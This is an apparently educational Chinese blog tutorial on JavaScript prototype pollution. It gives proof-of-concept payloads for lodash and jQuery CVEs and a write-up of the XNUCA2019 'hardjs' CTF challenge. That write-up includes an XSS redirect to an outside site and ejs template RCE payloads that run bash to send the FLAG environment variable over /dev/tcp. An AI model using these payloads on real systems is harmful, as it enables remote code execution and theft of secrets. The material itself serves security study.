JavaScript Prototype汙染攻擊

2020-12-16 湖南蟻景

0x00 正文

想了解什麼是JavaScript可到合天網安實驗室學習實驗——Javascript基礎,學習DOM操作和BOM操作。

原型和原型鏈

JavaScript中,我們如果要定義一個類,需要以定義「構造函數」的方式來定義。也就是說,我們定義了一個函數,就會有對應的一個類,類名為該函數名。

原型

每個函數對象都會有個prototype屬性,它指向了該構建函數實例化的原型。使用該構建函數實例化對象時,會繼承該原型中的屬性及方法。

所有的對象都有__proto__屬性,它指向了創建它的構建函數的原型。

在P神的介紹JavaScript原型汙染攻擊文章中我們可以知道以下兩個性質。

prototype是一個類的屬性,所有類對象在實例化的時候將會擁有prototype中的屬性和方法一個對象的__proto__屬性,指向這個對象所在的類的prototype屬性原型鏈

所謂原型鏈也是指JS中的一個繼承和反向查找的機制,函數對象可以通過prototype屬性找到函數原型,普通實例對象可以通過__proto__屬性找到構建其函數的原型。

JavaScript的這個查找的機制,被運用在面向對象的繼承中,被稱作prototype繼承鏈

每個構造函數(constructor)都有一個原型對象(prototype)對象的__proto__屬性,指向類的原型對象prototypeJavaScript使用prototype鏈實現繼承機制具體的可以參考下面的解釋圖(參考連結見附錄)

原型鏈汙染

原型汙染是指將屬性注入現有JavaScript語言構造原型(如對象)的能力。

JavaScript允許更改所有Object屬性,包括它們的神奇屬性,如_proto_,constructor和prototype。

在一個應用中,如果攻擊者控制並修改了一個對象的原型,那麼將可以影響所有和這個對象來自同一個類、父祖類的對象,所有JavaScript對象通過原型鏈繼承,都會繼承Object.prototype上的屬性,這種攻擊方式就是原型鏈汙染

當發生這種情況時,有可能會被攻擊者利用從而注入攻擊代碼達到篡改程序或者執行命令的目的。

原型鏈汙染出現的情況

根據p神文章所說,原型鏈汙染主要是因為攻擊者可以設置__proto__的值,導致汙染,因此我們的目光應該瞄準哪些地方可以設置__proto__的值,或者說尋找某些對象,可以控制其鍵名的操作。比如:

對象merge對象clone(將待操作對象merge到一個空對象中)舉個例子:

假如存在一個merge操作:

function merge(target, source) {

for (let key in source) {

if (key in source && key in target) {

merge(target[key], source[key])

} else {

target[key] = source[key]

}

}

}

這裡沒有對鍵值進行過濾,假如key為__proto__,那麼就可以進行原型鏈汙染。這裡需要注意,要配合JSON.parse使得我們輸入的__proto__被解析成鍵名,JSON解析的情況下,__proto__會被認為是一個真正的「鍵名」,而不代表「原型」,否則它只會被當作當前對象的」原型「而不會向上影響,例如:

>let o2 = {a: 1, "__proto__": {b: 2}}

>merge({}, o2)

<undefined

>o2.__proto__

<{b: 2} //直接返回對應值

>console.log({}.b)

<undefined //並未汙染原型

>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')

>merge({},o3)

<undefined

>console.log({}.b)

<2 //原型被成功汙染

CVE-2019-10744

Lodash.defaultsDeep

https://snyk.io/vuln/SNYK-JS-LODASH-450202

//Affecting lodash package, versions <4.17.12

Lodash是一個一致性、模塊化、高性能的JavaScript 實用原生庫,不需要引入其他第三方依賴,意在提高開發者效率,提高JS原生方法性能。它通過降低array、number、objects、string 等等的使用難度從而讓 JavaScript 變得更簡單。此軟體包的<4.17.12版本會受到原型汙染的影響。

在Lodash庫中defaultsDeep函數可以進行構造函數(constructor)重載,通過構造函數重載的方式可以欺騙添加或修改Object.prototype的屬性,這個性質可以被用於原型汙染。

驗證POC:

const mergeFn = require('lodash').defaultsDeep;

const payload = '{"constructor": {"prototype": {"a0": true}}}'

function check() {

mergeFn({}, JSON.parse(payload));

if (({})[`a0`] === true) {

console.log(`Vulnerable to Prototype Pollution via ${payload}`);

}

}

check();

CVE-2019-11358

JQuery<=3.4.0中的$.extend

在./src/core.js中:

155: if ((options = arguments[ i ]) != null)

如果傳入的參數arguments[i]不為空,將賦值給options,隨後會逐個取出並賦值給copy

158: for (name in options) {159: copy= options [name];

因此copy值為外部可控

183: target[name] = jQuery.extend (deep,clone, copy);

隨後使用jQuery的extend函數將copy對象的內容合併到目標對象clone中,deep是它的可選參數,指示是否深度合併該對象,默認為false,如果為true,且多個對象的同名屬性也都是對象,則該「屬性對象「的屬性也將進行合併。其中,extend函數有以下兩個需要注意的地方:

如果只為$.extend()指定了一個參數,則意味著參數target被省略。此時,target就是jQuery對象本身。通過這種方式,我們可以為全局對象jQuery添加新的函數。127:target = arguments[ 0 ] || {},

如果多個對象具有相同的屬性,則後者會覆蓋前者的屬性值。在小於3.4.0版中extend方法不作檢查,把copy對象合併到target對象中

187:target[name] = copy;

如果 name 可以為

__proto__

,則會向上影響target 的原型,進而覆蓋造成原型汙染。

下面為驗證POC

>let b = $.extend(true,{},JSON.parse('{"__proto__":{"vuln": true}}')) <undefined >console.log({}.vuln); <true <undefined

可以看到當已經發生了原型汙染

在補丁中可以看到對屬性值進行了過濾:

for ( name in options ) { copy = options[ name ]; // Prevent Object.prototype pollution // Prevent never-ending loop if ( target === copy ) { if ( name === "__proto__" || target === copy ) { continue; }

Node.js中命令執行

在Node.js中有時需要執行一些系統命令,這時候會用到child_process模塊,該模塊翻譯過來就是子進程,主要通過產生子進程來執行系統命令。

global.process.mainModule.require('child_process').exec global.process.mainModule.constructor._load('child_process').exec

0X01 題目:XNUCA2019 hardjs

方法一:JQuery中$.extend汙染+前端XXS

在robot.py裡面可以看到FLAG是藏在主機的環境變量中,並賦值給password。

username = "admin" password = os.getenv("FLAG")

首先,利用JQuery中$.extend汙染session

在server.js中,對用戶進行如下判斷:

function auth(req,res,next){

// var session = req.session;

if(!req.session.login || !req.session.userid ){

res.redirect(302,"/login");

} else{

next();

}

}

通過前面的一些知識我們可以知道,在調用一個不存在的屬性key時,結果會返回undefined,比如

>function a(){}

<undefined

>a.aaa

<undefined

>let b = new a()

<undefined

>b.aaa

<undefined

那麼req.session.login以及req.session.userid在用戶未登錄之前的值也是undefined的,按照之前所學習的原型鏈汙染,如果我們能汙染Object,那麼我們只需要修改Object裡的login和userid為true或者1,那麼在session找不到login和userid兩個屬性值時就會向父對象進行查找,一直到找到父對象具有這兩個屬性值或者查找到NULL為止,因為Object裡的login和userid已經被汙染,因此可以任意用戶登錄。

在app.js中使用了存在漏洞的jQuery版本並使用了$.extend方法

function getAll(allNode){

$.ajax({

url:"/get",

type:"get",

async:false,

success: function(datas){

for(var i=0 ;i<datas.length; i++){

$.extend(true,allNode,datas[i])

}

// console.log(allNode);

}

})

}

因此我們可以汙染原型,首先向add路由請求6次,因為記錄條數大於5才會執行合併server.js中

else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql

console.log("Merge the recorder in the database.");

var sql = "select `id`,`dom` from `html` where userid=? ";

var raws = await query(sql,[userid]);

var doms = {}

var ret = new Array();

for(var i=0;i<raws.length ;i++){

lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

var sql = "delete from `html` where id = ?";

var result = await query(sql,raws[i].id);

}

{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":1}}}}

然後訪問一下get路由來觸發$.extend來汙染原型

所以現在可以以任意用戶登錄。

在所給的robot.py中我們可以看到以下設置:

chrome_options.add_argument('--disable-xss-auditor')

chrome_options.add_argument('--no-sandbox')

可以看到bot利用selenium打開網站首頁,原本是會跳轉到login的,而密碼就是flag,但是我們對原型進行了汙染使得可以直接登錄了網站首頁,如果我們能在前端(即網站首頁)進行XSS,再加上bot原來就會執行一次login的發送動作,那麼我們就可以在首頁構造一個form使得bot執行的submit動作指向我們的伺服器,所以我們就可以獲取到提交的password也就是flag了。

繼續查看代碼,看看頁面時如何進行渲染的,在前端app.js中,用js生成模板時,遍歷了hints數組並將hints數組裡面的內容寫入到對應li標籤中,header、notice、wiki、button和message都會被渲染進sandbox中

this.sandbox.setAttribute('sandbox', 'allow-same-origin')

即使我們可以寫表單,也無法提交,數據中的js不會被執行。

for (key in dom){

switch(key){

case 'header':

$tmp = $("li[type='header']");

$newNode = $( $tmp.html() );

$newNode.find("span.content").html(dom[key][0]);

// console.log($newNode.html());

viewport.appendChild( $newNode[0] );

break;

case "notice":

// console.log(dom[key]);

$tmp = $("li[type='notice']");

$newNode = $( $tmp.html() );

$newNode.find("span.content").html(dom[key][0]);

viewport.appendChild( $newNode[0] );

break;

case "wiki":

// console.log(dom[key]);

$tmp = $("li[type='wiki']");

$newNode = $( $tmp.html() );

$newNode.find("span.content").html(dom[key][0]);

viewport.appendChild( $newNode[0] );

break;

case "button":

// console.log(dom[key]);

$tmp = $("li[type='button']");

$newNode = $( $tmp.html() );

$newNode.find("span.content").html(dom[key][0]);

viewport.appendChild( $newNode[0] );

break;

case "message":

// console.log(dom[key]);

$tmp = $("li[type='message']");

$newNode = $( $tmp.html() );

$newNode.find("span.content").html(dom[key][0]);

viewport.appendChild( $newNode[0] );

break;

default:

console.log(key,":",dom[key]);

}

}

接著看

(function(){

var hints = {

header : "自定義內容",

notice: "自定義公告",

wiki : "自定義wiki",

button:"自定義內容",

message: "自定義留言內容"

};

for(key in hints){

// console.log(key);

element = $("li[type='"+key+"']");

if(element){

element.find("span.content").html(hints[key]);

}

}

})();

如果在前端頁面能找到li標籤且含有type屬性,那麼就可以考慮汙染logger變量,使得hints數組也含有logger屬性,從而把logger的內容列印到頁面中,且避開sandbox,這樣就可以執行XSS了

<li type="logger">

<div>

<pre>

<span>[Tue Jan 11 17:32:52 9]</span> <span>[info]</span> <span>StoreHtml init success .....</span>

</pre>

</div>

</li>

進行XSS,誘導bot把數據提交到指定伺服器,這裡需要注意的是在汙染session成功以後,需要用useid=1的帳號來進行logger的汙染,當提交次數大於5之後,訪問get路由,觸發server.js中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));成功汙染,把flag打到VPS

{"type":"test","content":{"__proto__": {"logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}

方法二:後端RCE之opts.outputFunctionName

const ejs = require('ejs')

該項目使用ejs庫作為模板引擎,由於該模板引擎中通常會有eval等操作用於解析,因此可以去看ejs的存在原型鏈汙染的地方。

查看ejs源碼可以發現,很大一部分調用全是為了動態拼接一個js語句,當opts存在屬性outputFunctionName時,該屬性outputFunctionName便會被直接拼接到這段js中。

if (!this.source) {

this.generateSource();

prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n';

if (opts.outputFunctionName) {

prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';

}

if (opts._with !== false) {

prepended += ' with (' + opts.localsName + ' || {}) {' + '\n';

appended += ' }' + '\n';

}

appended += ' return __output.join("");' + '\n';

this.source = prepended + this.source + appended;

}

然後根據拼接的內容,生成動態函數

try{

ctor = (new Function('return (async function(){}).constructor;'));

}

.....

else {

ctor = Function;

}

fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

}

此處如果可以控制opts.outputFunctionName為惡意代碼,即可實現RCE

附上出題者的payload

{"type":"test","content":{"constructor":{"prototype":

{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b

ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}

拼接到後端的動態函數則是:

prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';

// After injection

prepended += ' var a=1;process.mainModule.require('child_process').exec('b

ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')// 後面的代碼都被注釋了'

汙染了原型鏈之後,渲染直接變成了執行代碼,並提前 return,從而 getshell

方法三:後端RCE之opts.escapeFunction

同樣可以找到另外一處地方

var escapeFn = opts.escapeFunction;

var ctor;

....

if (opts.client) {

src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;

if (opts.compileDebug) {

src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;

}

}

偽造escapeFunction也可以打到RCE

{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return

process.env.FLAG","debug":true, "compileDebug": true}}}

0X02 參考

留言或私信獲取連結哦

相關焦點

  • JavaScript——繼承(prototype)
    所有的 JavaScript 對象都會從一個 prototype(原型對象)中繼承屬性和方法。
  • 一句有趣的JS代碼-prototype
    (Object.prototype.toString);這到底是想幹嘛?的定義javascript中的每個對象都有prototype屬性,Javascript中對象的prototype屬性的解釋是:返回對象類型原型的引用。
  • JavaScript Prototype(原型) 新手指南
    英文原文 | https://tylermcginnis.com/beginners-guide-to-javascript-prototype
  • JavaScript 原型對象(ProtoType)介紹 | JavaScript 教程
    所有的 JavaScript 對象都會從一個 prototype(原型對象)中繼承屬性和方法。
  • javascript常用函數推薦
    繼續上一篇的內容,本文繼續javascript數組相關的常用函數推薦,基於ES6+規範,上一篇請查看這裡countOccurrences計算數組中值的出現次數。每次遇到數組內的特定值時,使用Array.prototype.reduce()遞增計數器。
  • 小白帶你讀論文 & Prototype pollution attack in NodeJS
    __proto__ == Object.prototype  那麼此時,如果我們調用b.test2,其因為獲取不到,就會往父類中查找,因此找到了Object.prototype.test2。  因此我們調用b.test2,可以獲取到456這個值。  我們再看一個簡單的例子:
  • JavaScript為什麼這麼難?
    只有真正的javascript程式設計師才知道javascript太難了。其他程式設計師都覺得javascript是門玩具語言。javascript太難了。難點javascript的真值表,可以體驗一下。理解在對象構造器中this.getName,A.prototype.getName,和A.getName的區別。javascript中代碼不像很多其他語言一樣,代碼是順序執行的。
  • javascript 對象詳解:__proto__ 和 prototype 的區別和聯繫
    帶著問題慢慢看下面的內容吧~__proto__和 prototype概念區分其實說 __proto__並不準確,確切的說是對象的 [[prototype]]屬性,只不過在主流的瀏覽器中,都用 __proto__來代表 [[prototype]]屬性,因為 [[prototype]]只是一個標準,而針對這個標準,不同的瀏覽器有不同的實現方式。
  • JavaScript:學會splice()數組操作
    如果不知道Array.prototype.splice的使用的方法那很有可能就要被扣分了。使用javascript數組類型內置的splice方法僅需一行代碼即可輕鬆實現對數組元素進行插入、刪除、替換操作。
  • jQuery 的「原型汙染」安全漏洞 - OSCHINA - 中文開源技術交流社區
    前兩周發布的 jQuery 3.4.0 除了常規更新外,更重要的是修復了一個稱為「原型汙染(prototype pollution)」的罕見安全漏洞。什麼是原型汙染?顧名思義,原型汙染就是指攻擊者通過某種手段修改 JavaScript 對象的 prototype。JavaScript 對象就跟變量一樣,但它不是存儲一個值(var car =「Fiat」),而是可以包含基於預定義結構的多個值 (var car ={type:"Fiat", model:"500", color:"white"})。
  • 分享幾個javascript實用函數
    從本文開始小編將定期發布javascript相關的代碼集錦,每次發十個與大家分享,首先是數組篇,也許有人會說,可以用常用的lodash的等庫啊。// 使用Array.prototype.map()和Array.prototype.join(delimiter)// 將各個1D數組(行)組合成字符串。使用Array.prototype.join('\ n')// 將所有行組合成CSV字符串,分隔 每行都有一個換行符。
  • 深入總結Javascript原型及原型鏈
    本篇文章給大家詳細分析了javascript原型及原型鏈的相關知識點以及用法分享,具有一定的參考價值,對此有需要的朋友可以參考學習下。如有不足之處,歡迎批評指正。我們創建的每個函數都有一個 prototype (原型)屬性,這個屬性是一個指針,指向一個原型對象,而這個原型對象中擁有的屬性和方法可以被所以實例共享一、理解原型對象無論什麼時候,只要創建了一個新函數,就會根據一組特定的規則為該函數創建一個prototype屬性,這個屬性指向函數的原型對象。
  • 12 個 GitHub 上超火的 JavaScript 奇技淫巧項目,找到寫 JavaScript 的靈感!
    比如:你必須知道的 4 種 JavaScript 數組方法Array.prototype.mapconst arr = [1, 2, 3];const isOdd = x => x % 2 === 1;arr.filter(isOdd); // [1, 3]Array.prototype.reduce()const arr = [1
  • JavaScript中的「黑話」
    「話術」Array.prototype.sortArray.prototype.sort()默認根據字符串的Unicode編碼進行排序,具體算法取決於實現的瀏覽器,在v8引擎中,若數組長度小於10則使用從插入排序,大於10使用的是快排。
  • JavaScript 函數replace揭秘
    下面來幾個demo:"boy & girl".replace(/(\w+)\s*&\s*(\w+)/g,"$2 & $1") //girl & boy"boy".replace(/\w+/g,"$&-$&") // boy-boy"javascript".replace(/script/,"$& !
  • Node.js原型鏈汙染的利用
    ,以及通過ctf題來展示實際場景中如何去利用原型鏈汙染。0x01 哪些情況下原型鏈會被汙染上一篇文章我們講了去修改一個對象的原型中的屬性,去影響到新實例化出來的對象,使其帶上了我們給對象原型添加的屬性,這就是原型鏈汙染,那麼在實際應用中哪些情況會存在原型鏈被汙染的可能呢?
  • 【JavaScript】箭頭函數
    let res = (...rest) => rest;無原型 & 不能使用 new & 沒有super不能使用new操作符var Foo = () => {};var foo = new Foo(); // TypeError: Foo is not a constructorjavascript
  • 說說那些經典的web前端面試題-JavaScript部分
    ; }</script>解決方法如下:<div id="myDiv"> <input type="button" value="Click me" id="myBtn"></div><script type="text/javascript
  • JavaScript最全編碼規範
    來自:淡忘~淺思原文:https://github.com/airbnb/javascript譯文:http://www.ido321
  • 【專業技術】關於JS的prototype
    相信大家也看出來了,直接聲明的函數 擁有prototype這個屬性,而new 構造出來的函數不存在prototype這個屬性象。什麼是prototype:function定義的對象有一個prototype屬性,prototype屬性又指向了一個prototype對象,注意prototype屬性與prototype對象是兩個不同的東西,要注意區別。